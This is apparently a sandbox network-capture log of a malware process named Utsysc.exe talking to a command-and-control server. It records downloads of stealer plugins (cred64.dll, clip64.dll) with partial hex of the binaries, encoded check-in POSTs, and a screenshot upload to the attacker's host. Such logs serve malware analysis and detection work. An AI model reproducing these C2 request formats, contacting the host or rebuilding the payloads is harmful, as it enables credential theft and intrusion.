Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:04.376946926 CEST	68	OUT	GET /vsdjcn3khS/Plugins/cred64.dll HTTP/1.1 Host: atillapro.com
Apr 9, 2024 14:54:04.554619074 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:04 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 09 Apr 2024 00:43:24 GMT ETag: "133000-6159f35a817ba" Accept-Ranges: bytes Content-Length: 1257472 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 31 f3 4d 23 75 92 23 70 75 92 23 70 75 92 23 70 2e fa 27 71 67 92 23 70 2e fa 20 71 7e 92 23 70 2e fa 26 71 c5 92 23 70 a0 ff 26 71 33 92 23 70 a0 ff 27 71 7a 92 23 70 a0 ff 20 71 7c 92 23 70 2e fa 22 71 78 92 23 70 75 92 22 70 b4 92 23 70 ee fc 2a 71 71 92 23 70 ee fc 23 71 74 92 23 70 ee fc dc 70 74 92 23 70 ee fc 21 71 74 92 23 70 52 69 63 68 75 92 23 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 48 e1 4f 65 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 18 00 5c 0f 00 00 1c 04 00 00 00 00 00 48 b1 0c 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 13 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 20 21 12 00 58 00 00 00 78 21 12 00 8c 00 00 00 00 90 13 00 f8 00 00 00 00 d0 12 00 98 ac 00 00 00 00 00 00 00 00 00 00 00 a0 13 00 e0 15 00 00 c0 37 11 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 38 11 00 08 01 00 00 00 00 00 00 00 00 00 00 00 70 0f 00 e8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f8 5a 0f 00 00 10 00 00 00 5c 0f 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e2 c5 02 00 00 70 0f 00 00 c6 02 00 00 60 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 8d 00 00 00 40 12 00 00 42 00 00 00 26 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 98 ac 00 00 00 d0 12 00 00 ae 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 94 00 00 00 00 80 13 00 00 02 00 00 00 16 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 f8 00 00 00 00 90 13 00 00 02 00 00 00 18 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 15 00 00 00 a0 13 00 00 16 00 00 00 1a 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 83 ec 28 41 b8 20 00 00 00 48 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1M#u#pu#pu#p.'qg#p. q~#p.&q#p&q3#p'qz#p q\|#p."qx#pu"p#p*qq#p#qt#ppt#p!qt#pRichu#pPEdHOe" \H` !Xx!7p08p.textZ\ `.rdatap`@@.dataL@B&@.pdatah@@_RDATA@@.rsrc@@.reloc@BH(A H
Apr 9, 2024 14:54:04.554636955 CEST	1289	IN	Data Raw: 8d 15 67 0e 11 00 48 8d 0d e0 5b 12 00 e8 83 cb 0b 00 48 8d 0d 0c 24 0f 00 48 83 c4 28 e9 af 9d 0c 00 cc cc cc 48 83 ec 28 41 b8 20 00 00 00 48 8d 15 5f 0e 11 00 48 8d 0d 70 62 12 00 e8 53 cb 0b 00 48 8d 0d 4c 24 0f 00 48 83 c4 28 e9 7f 9d 0c 00 Data Ascii: gH[H$H(H(A H_HpbSHL$H(H(AHSH@c#H$H(OH(A H/H\H$H(H(AH'HaH%H(H(AH
Apr 9, 2024 14:54:04.554709911 CEST	1289	IN	Data Raw: 41 b8 0c 00 00 00 48 8d 15 ef 0b 11 00 48 8d 0d b0 5d 12 00 e8 73 c6 0b 00 48 8d 0d cc 2a 0f 00 48 83 c4 28 e9 9f 98 0c 00 cc cc cc 48 83 ec 28 41 b8 28 00 00 00 48 8d 15 cf 0b 11 00 48 8d 0d 00 5c 12 00 e8 43 c6 0b 00 48 8d 0d 0c 2b 0f 00 48 83 Data Ascii: AHH]sH*H(H(A(HH\CH+H(oH(AHH_HL+H(?H(AHHbH+H(H(AHH]H+H(H(A
Apr 9, 2024 14:54:04.554728031 CEST	1289	IN	Data Raw: cc cc cc 48 83 ec 28 41 b8 04 00 00 00 48 8d 15 47 09 11 00 48 8d 0d 80 53 12 00 e8 63 c1 0b 00 48 8d 0d 8c 31 0f 00 48 83 c4 28 e9 8f 93 0c 00 cc cc cc 48 83 ec 28 41 b8 04 00 00 00 48 8d 15 1f 09 11 00 48 8d 0d 70 5d 12 00 e8 33 c1 0b 00 48 8d Data Ascii: H(AHGHScH1H(H(AHHp]3H1H(_H(AHHVH2H(/H(AHHpTHL2H(H(AHHQH2H(
Apr 9, 2024 14:54:04.554785013 CEST	1289	IN	Data Raw: c4 28 e9 af 8e 0c 00 cc cc cc 48 83 ec 28 41 b8 28 00 00 00 48 8d 15 e7 07 11 00 48 8d 0d 30 4c 12 00 e8 53 bc 0b 00 48 8d 0d 4c 38 0f 00 48 83 c4 28 e9 7f 8e 0c 00 cc cc cc 48 83 ec 28 41 b8 0c 00 00 00 48 8d 15 e7 07 11 00 48 8d 0d e0 4a 12 00 Data Ascii: (H(A(HH0LSHL8H(H(AHHJ#H8H(OH(A4HHLH8H(H(A(HH@LH9H(H(AHHpUHL9H(
Apr 9, 2024 14:54:04.554799080 CEST	1289	IN	Data Raw: cc 48 8d 0d 09 44 0f 00 e9 a0 89 0c 00 cc cc cc cc 48 8d 0d 69 44 0f 00 e9 90 89 0c 00 cc cc cc cc 48 8d 0d c9 44 0f 00 e9 80 89 0c 00 cc cc cc cc 48 8d 0d 29 45 0f 00 e9 70 89 0c 00 48 83 ec 28 48 8d 0d 49 63 12 00 e8 80 96 0c 00 48 8d 0d 79 45 Data Ascii: HDHiDHDH)EpH(HIcHyEH(PHuEDHE8HE,H(Hf<H%FH(H\$Hl$Ht$ WAVHLYAL5L@AAt'AB
Apr 9, 2024 14:54:04.554811001 CEST	1289	IN	Data Raw: 15 2b 25 12 00 8b c8 8b 46 54 03 46 3c 03 46 24 03 46 0c 0f af c8 01 4c 24 30 48 8b 4e 18 ff 15 04 25 12 00 01 44 24 30 48 8b 4e 48 ff 15 f6 24 12 00 01 44 24 30 48 8b 4e 30 ff 15 e8 24 12 00 01 44 24 30 48 8b 4e 60 ff 15 da 24 12 00 01 44 24 30 Data Ascii: +%FTF<F$FL$0HN%D$0HNH$D$0HN0$D$0HN`$D$0H~@HtHWHAH?HuH~HtHWHt8H?HuC(AH D;IHl$ L A~0IHC HL0HtD8qtiuUH ;{(\|HL$(D$0Du
Apr 9, 2024 14:54:04.554860115 CEST	1289	IN	Data Raw: e8 7a fd ff ff 83 f8 02 75 5b 6b 44 24 6c 3c 48 83 c3 06 03 44 24 70 0f af c5 89 46 1c eb 0e 8d 41 a6 a8 df 74 04 84 c9 eb 26 48 ff c3 0f b6 03 42 f6 04 30 01 74 17 0f 1f 84 00 00 00 00 00 0f b6 43 01 48 8d 5b 01 42 f6 04 30 01 75 f1 84 c0 40 0f Data Ascii: zu[kD$l<HD$pFAt&HB0tCH[B0u@u9~F+3HL$xH3xL$I[ Ik0IA^_^HyL.y(H$tADIYAAD@ACAAIDOQADAAD
Apr 9, 2024 14:54:04.554883957 CEST	1289	IN	Data Raw: 8d 88 f5 05 00 00 f3 0f e6 c0 f2 0f 5c 05 94 03 11 00 f2 0f 5e 05 74 03 11 00 f2 0f 2c c8 8b c1 99 83 e2 03 03 c2 c1 f8 02 2b c8 b8 1f 85 eb 51 44 03 c9 66 41 0f 6e c1 f3 0f e6 c0 f2 0f 5c 05 22 03 11 00 f2 0f 5e 05 2a 03 11 00 f2 44 0f 2c c0 41 Data Ascii: \^t,+QDfAn\"^*D,AiA+fn^,fnY,D+D+EJM+3ARkD+EBAB(@SH y)HLH
Apr 9, 2024 14:54:04.554919004 CEST	1289	IN	Data Raw: 05 00 00 48 8d 45 e0 38 5d e0 74 08 90 48 ff c0 38 18 75 f9 48 8d 4d e0 45 0f b6 cf 2b c1 48 8d 55 a0 25 ff ff ff 3f 48 8d 4d e0 44 8b c0 e8 4a 51 00 00 85 c0 0f 84 63 05 00 00 f2 0f 10 4d a0 f2 0f 2c f1 66 0f 6e c6 f3 0f e6 c0 66 0f 2e c1 0f 8a Data Ascii: HE8]tH8uHME+HU%?HMDJQcM,fnf.HB:f/(HHGHf_*LH3ukcf_(D_+IHHcLIIH?LH%I$I$IIHHH?HHkL+L;I@IN
Apr 9, 2024 14:54:04.732244015 CEST	1289	IN	Data Raw: 8b cf e8 8d f5 ff ff 48 8b cf e8 b5 f6 ff ff 44 8b 47 0c b8 ab aa aa 2a f2 0f 2c db 44 03 c3 41 8d 48 ff 45 85 c0 7f 04 41 8d 48 f4 f7 e9 48 8b cf 44 88 7f 2a d1 fa 8b c2 c1 e8 1f 03 d0 01 57 08 8d 04 52 c1 e0 02 44 2b c0 44 89 47 0c e8 21 f1 ff Data Ascii: HDG,DAHEAHHDWRD+DG!fnf.zt(\YY-XH,HAfG(G+AHMH3piH$HA_A^_^]0:&7[9h788=
Apr 9, 2024 14:54:05.813002110 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:06.004319906 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49740	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:04.377070904 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:04.554929018 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:04.555191040 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTc5NzE= Host: atillapro.com Content-Length: 98123 Cache-Control: no-cache
Apr 9, 2024 14:54:04.555253029 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 63 35 4e 7a 45 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTc5NzE=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 9, 2024 14:54:04.555303097 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 9, 2024 14:54:04.555340052 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 9, 2024 14:54:04.555340052 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 9, 2024 14:54:04.555377960 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 9, 2024 14:54:04.555377960 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 9, 2024 14:54:04.555408001 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 9, 2024 14:54:04.555433035 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 9, 2024 14:54:04.555463076 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 9, 2024 14:54:04.555490971 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 9, 2024 14:54:06.183914900 CEST	147	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49742	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:06.323682070 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 9, 2024 14:54:06.504390001 CEST	148	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 9, 2024 14:54:06.509851933 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Apr 9, 2024 14:54:06.698617935 CEST	153	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49743	185.196.8.137	80	4336	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 9, 2024 14:54:06.577198029 CEST	68	OUT	GET /vsdjcn3khS/Plugins/clip64.dll HTTP/1.1 Host: atillapro.com
Apr 9, 2024 14:54:06.754908085 CEST	1289	IN	HTTP/1.1 200 OK Date: Tue, 09 Apr 2024 12:54:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Tue, 09 Apr 2024 00:43:15 GMT ETag: "19600-6159f351c52d1" Accept-Ranges: bytes Content-Length: 103936 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 27 f6 04 b3 63 97 6a e0 63 97 6a e0 63 97 6a e0 38 ff 69 e1 69 97 6a e0 38 ff 6f e1 eb 97 6a e0 38 ff 6e e1 71 97 6a e0 b6 fa 6e e1 6c 97 6a e0 b6 fa 69 e1 72 97 6a e0 b6 fa 6f e1 42 97 6a e0 38 ff 6b e1 64 97 6a e0 63 97 6b e0 02 97 6a e0 f8 f9 63 e1 60 97 6a e0 f8 f9 6a e1 62 97 6a e0 f8 f9 95 e0 62 97 6a e0 f8 f9 68 e1 62 97 6a e0 52 69 63 68 63 97 6a e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a e1 4f 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 18 00 0e 01 00 00 90 00 00 00 00 00 00 d0 66 00 00 00 10 00 00 00 20 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 01 00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 79 01 00 9c 00 00 00 4c 7a 01 00 50 00 00 00 00 b0 01 00 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 01 00 dc 12 00 00 c0 6e 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 6e 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 06 0c 01 00 00 10 00 00 00 0e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b0 61 00 00 00 20 01 00 00 62 00 00 00 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 04 17 00 00 00 90 01 00 00 0c 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 00 00 00 00 b0 01 00 00 02 00 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 dc 12 00 00 00 c0 01 00 00 14 00 00 00 82 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 20 68 e8 6c 01 10 b9 70 98 01 10 e8 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$'cjcjcj8iij8oj8nqjnljirjoBj8kdjckjc`jjbjbjhbjRichcjPELJOe!f @yLzPn8n@ H.text `.rdataa b@@.datat@.rsrc@@.reloc@Bj hlp
Apr 9, 2024 14:54:06.754955053 CEST	1289	IN	Data Raw: 4f 48 00 00 68 b0 15 01 10 e8 5c 53 00 00 59 c3 cc cc cc 6a 20 68 0c 6d 01 10 b9 88 98 01 10 e8 2f 48 00 00 68 10 16 01 10 e8 3c 53 00 00 59 c3 cc cc cc 6a 14 68 30 6d 01 10 b9 a0 98 01 10 e8 0f 48 00 00 68 70 16 01 10 e8 1c 53 00 00 59 c3 cc cc Data Ascii: OHh\SYj hm/Hh<SYjh0mHhpSYjhHmGhRYjhemGh0RYjhemGhRYjhemGhRYjhemoGhP\|RY
Apr 9, 2024 14:54:06.754996061 CEST	1289	IN	Data Raw: 4d 84 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 64 02 00 00 52 51 e8 d3 4a 00 00 83 c4 08 8b 45 fc c6 84 05 80 fb ff ff 00 8d 45 fc 50 68 ff 03 00 00 8d 85 80 fb ff ff 50 56 ff 15 3c 21 01 10 85 c0 0f 85 9a Data Ascii: MBrI#+dRQJEEPhPV<!]V5@!uuEUE~EfCEEr/MBrI#+RQ;JEEEEr.MPrI#
Apr 9, 2024 14:54:06.755038023 CEST	1289	IN	Data Raw: 00 8b d8 83 c4 04 3b fb 74 65 8b 4f 14 83 f9 10 72 2b 8b 07 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 cd 00 00 00 8b c2 51 50 e8 b8 45 00 00 83 c4 08 c7 47 10 00 00 00 00 c7 47 14 0f 00 00 00 c6 07 00 0f 10 03 0f Data Ascii: ;teOr+ArP#+QPEGG~CfGCCUr(MBrI#+wiRQVEUEEEr(MBrI#+w'RQEtF`]
Apr 9, 2024 14:54:06.755076885 CEST	1289	IN	Data Raw: 8b 4d f4 50 e8 1f 35 00 00 8b 55 ec 83 ef 08 8b 4d f8 43 3b da 72 c2 8b 45 f8 85 c0 74 0e 68 00 04 00 00 50 e8 c0 40 00 00 83 c4 08 8b 55 f0 83 fa 10 72 28 8b 4d dc 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 77 56 Data Ascii: MP5UMC;rEthP@Ur(MBrI#+wVRQ@UEEEr(MBrI#+wRQN@E_^[]kfUESV3WCCDEE
Apr 9, 2024 14:54:06.755116940 CEST	1289	IN	Data Raw: 8d 45 d0 8b cc 50 e8 64 33 00 00 83 ec 18 8d 45 e8 8b f4 83 ec 18 8b cc 50 e8 51 33 00 00 8b ce e8 aa fe ff ff 83 c4 18 e8 a2 fc ff ff 8b 55 fc 83 c4 30 85 c0 0f 84 9a 00 00 00 83 fa 10 72 2c 8b 4d e8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 Data Ascii: EPd3EPQ3U0r,MBrI#+RQw;EG;HUr(MBrI#+wxRQ6;Ur^MBrFI#+wH4r(MBrI#+
Apr 9, 2024 14:54:06.755153894 CEST	1289	IN	Data Raw: 2c 8b 4d e8 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 7e 15 00 00 52 51 e8 ad 36 00 00 83 c4 08 0f 10 45 d0 8b 75 e0 8d 45 e8 83 ec 18 0f 11 45 e8 8b cc f3 0f 7e 45 e0 50 66 0f d6 45 f8 e8 16 2e 00 00 83 ec Data Ascii: ,MBrI#+~RQ6EuEE~EPfE.jh`nAA.O0EEEHE;+;B}ECEMVPn.r.ArP#+QP5
Apr 9, 2024 14:54:06.755192995 CEST	1289	IN	Data Raw: 99 01 10 41 81 f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 78 10 00 00 8b c2 51 50 e8 a5 31 00 00 83 c4 08 0f 10 45 d0 8b 55 e0 83 ec 18 8b cc b8 a8 99 01 10 0f 11 05 a8 99 01 10 f3 0f 7e 45 e0 66 0f d6 05 b8 99 01 10 c7 Data Ascii: ArP#+xQP1EU~EfAA9B=RCP)Mt\|r.ArP#+QP0
Apr 9, 2024 14:54:06.755230904 CEST	1289	IN	Data Raw: f9 00 10 00 00 72 16 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 0f 87 56 0b 00 00 8b c2 51 50 e8 a1 2c 00 00 83 c4 08 c7 05 d0 99 01 10 00 00 00 00 c7 05 d4 99 01 10 0f 00 00 00 c6 05 c0 99 01 10 00 0f 10 06 0f 11 05 c0 99 01 10 f3 0f 7e 46 10 66 Data Ascii: rP#+VQP,~FfFFUr,MBrI#+RQ*,uEP#jhxnAAC$0EEEHE;
Apr 9, 2024 14:54:06.755269051 CEST	1289	IN	Data Raw: 00 00 00 c6 01 00 e8 00 20 00 00 e8 9b e8 ff ff 83 c4 30 c7 45 e0 00 00 00 00 c7 45 e4 0f 00 00 00 c6 45 d0 00 8d 48 ff b8 f0 99 01 10 39 0d 00 9a 01 10 0f 42 0d 00 9a 01 10 83 3d 04 9a 01 10 10 51 0f 43 05 f0 99 01 10 8d 4d d0 50 e8 b9 1f 00 00 Data Ascii: 0EEEH9B=QCMPr.ArP#+QP4'EU~EfAA9B=RCP(M
Apr 9, 2024 14:54:06.932097912 CEST	1289	IN	Data Raw: e8 83 ec 1c 8b cc 50 e8 36 1a 00 00 83 ec 18 8b cc 68 78 6e 01 10 e8 e7 19 00 00 e8 82 e3 ff ff 83 c4 34 8d 4d e8 83 c0 02 50 8d 45 d0 50 e8 6f 16 00 00 50 b9 d8 99 01 10 e8 64 18 00 00 8d 4d d0 e8 0c 18 00 00 83 ec 18 8b cc 68 d8 99 01 10 e8 ed Data Ascii: P6hxn4MPEPoPdMhh\|n90HPjEP$PMuEPhnQ4MPEPPMvhWhn
Apr 9, 2024 14:54:07.331892014 CEST	309	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: 